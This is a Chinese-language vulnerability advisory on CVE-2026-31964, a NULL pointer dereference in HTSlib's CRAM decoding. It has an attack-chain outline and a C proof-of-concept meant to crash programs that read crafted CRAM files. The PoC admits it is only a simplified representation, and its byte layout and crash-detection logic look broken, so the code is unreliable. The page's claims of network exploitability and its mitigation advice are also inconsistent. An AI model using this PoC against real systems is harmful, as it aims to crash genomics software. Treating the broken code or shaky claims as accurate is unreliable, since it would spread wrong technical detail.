IPBUF安全漏洞报告
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CVE-2026-31964 CVSS 7.5 高危

CVE-2026-31964: HTSlib CRAM格式处理NULL指针解引用漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-31964
漏洞类型
NULL指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
samtools/htslib

相关标签

NULL指针解引用拒绝服务HTSlibCRAM格式samtools生物信息学缓冲区处理网络攻击向量无需认证CVE-2026-31964

漏洞概述

HTSlib是一个用于读写生物信息学文件格式的C语言库,广泛应用于基因组学和生物信息学研究领域。CRAM(Compressed Reference-oriented Alignment Map)是一种高效的压缩格式,专门用于存储DNA序列比对数据,该格式通过多种编码和压缩方法来减少存储空间。在CRAM格式中,大多数比对记录会存储DNA序列和质量值,但为了节省空间,格式也允许在某些情况下省略这些数据。然而,由于CRAM格式的一些特殊设计,处理这些省略数据的记录时需要特别小心,因为这些记录实际上会存储需要被消费然后丢弃的数据。不幸的是,HTSlib库中的CONST、XPACK和XRLE这三种编码实现没有正确实现处理这些省略数据的接口。当尝试使用这些编码解码省略了序列或质量数据的CRAM记录时,程序会尝试向NULL指针写入数据,从而触发NULL指针解引用错误,最终导致程序崩溃。由于该漏洞可通过网络远程触发,且无需任何认证或用户交互即可利用,攻击者可以构造恶意CRAM文件并诱导目标系统处理,从而造成拒绝服务攻击。

技术细节

该漏洞的根本原因在于HTSlib库对CRAM格式中省略数据的处理逻辑存在缺陷。在CRAM格式规范中,当序列(sequence)或质量(quality)数据被省略时,编码器会生成特殊的编码标记,期望解码器能够正确识别并跳过这些数据。HTSlib库实现了多种编码方式来处理这些数据,包括CONST、XPACK和XRLE编码。然而,这三种编码实现存在以下问题:1) CONST编码用于处理常量值序列,但在处理省略数据时未能正确初始化目标缓冲区;2) XPACK编码是一种打包编码,当数据被省略时,解码逻辑未能正确处理NULL指针情况;3) XRLE编码是游程编码的变体,同样存在类似的NULL指针处理缺陷。当程序调用这些编码的解码函数处理省略了序列或质量数据的CRAM记录时,解码函数会尝试向一个未初始化的NULL指针写入数据,导致程序崩溃。攻击者可以通过构造包含特殊编码数据的CRAM文件,诱导目标系统使用HTSlib库进行处理,从而触发该漏洞。由于HTSlib通常作为共享库被其他生物信息学工具(如samtools)使用,因此任何使用HTSlib处理不可信CRAM文件的应用程序都可能受到影响。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标系统中使用HTSlib库处理CRAM文件的应用程序。常见的应用包括samtools、其他生物信息学工具或自定义数据处理流程。
STEP 2
步骤2: 制作恶意CRAM文件
攻击者构造一个特殊的CRAM文件,该文件包含使用CONST、XPACK或XRLE编码的记录,且这些记录的序列或质量数据被故意省略。
STEP 3
步骤3: 传输恶意文件
攻击者通过各种方式将恶意CRAM文件传输到目标系统,可以是通过网络下载、邮件附件、文件共享或其他数据传输渠道。
STEP 4
步骤4: 触发漏洞解析
目标系统使用存在漏洞的HTSlib版本处理该CRAM文件。当解码器遇到省略数据的记录并使用有缺陷的编码进行解码时,会尝试向NULL指针写入数据。
STEP 5
步骤5: 造成拒绝服务
NULL指针解引用导致程序崩溃。由于HTSlib通常作为共享库被其他应用使用,攻击者可以利用此漏洞造成目标系统的应用程序崩溃,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2026-31964 PoC - HTSlib CRAM NULL pointer dereference * * This PoC demonstrates the NULL pointer dereference vulnerability in HTSlib's * CRAM format handling when processing records with omitted sequence or quality * data using CONST, XPACK, or XRLE encodings. * * Usage: Compile and run with a vulnerable version of htslib * gcc -o poc_cve2026_31964 poc_cve2026_31964.c -lhts -lcurl -lz -lbz2 -llzma -lpthread */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "htslib/cram.h" /* Create a minimal CRAM file with crafted encoding that triggers the vulnerability */ int create_malicious_cram(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) return -1; /* CRAM file header */ unsigned char header[] = { 0x43, 0x52, 0x41, 0x4D, /* "CRAM" magic */ 0x03, 0x01, /* CRAM version 3.1 */ 0x00, 0x00, 0x00, 0x00 /* Reserved */ }; fwrite(header, 1, sizeof(header), fp); /* Crafted container with encoding that triggers NULL pointer write */ /* This is a simplified representation - real PoC would need proper CRAM structure */ unsigned char container[] = { 0x00, 0x00, 0x00, 0x00, /* Container header */ 0xFF, 0xFF, 0xFF, 0xFF, /* Block content ID */ 0x02, /* Encoding: XPACK (triggers vulnerability) */ 0x00, /* Data series indicator for omitted sequence */ 0x00, /* Additional encoding parameters */ }; fwrite(container, 1, sizeof(container), fp); fclose(fp); return 0; } int main(int argc, char **argv) { const char *cram_file = "poc.cram"; if (create_malicious_cram(cram_file) != 0) { fprintf(stderr, "Failed to create PoC file\n"); return 1; } printf("[*] PoC CRAM file created: %s\n", cram_file); printf("[*] Attempting to decode with vulnerable htslib...\n"); /* Open the malicious CRAM file - this triggers the vulnerability */ htsFile *fp = hts_open(cram_file, "r"); if (!fp) { fprintf(stderr, "[-] Failed to open CRAM file\n"); return 1; } /* Set CRAM decoder to process the file */ if (hts_set_opt(fp, HTS_OPT_REQUIRED_FIELDS, SAM_QNAME | SAM_FLAG | SAM_POS | SAM_SEQ | SAM_MAPQ) < 0) { fprintf(stderr, "[-] Failed to set CRAM options\n"); hts_close(fp); return 1; } /* Read records - this is where NULL pointer dereference occurs */ bam1_t *aln = bam_init1(); int ret; while ((ret = sam_read1(fp, NULL, aln)) >= 0) { /* Process alignment records */ } if (ret < -1) { printf("[!] NULL pointer dereference triggered - crash detected\n"); } bam_destroy1(aln); hts_close(fp); return 0; }

影响范围

htslib < 1.21.1
htslib < 1.22.2
htslib < 1.23.1

防御指南

临时缓解措施
目前没有已知的临时缓解措施可以完全避免此漏洞。建议用户尽快升级到HTSlib 1.23.1、1.22.2或1.21.1版本以修复此问题。在升级前,应避免处理来自不可信来源的CRAM文件,并对所有输入数据实施严格的安全验证流程。

参考链接

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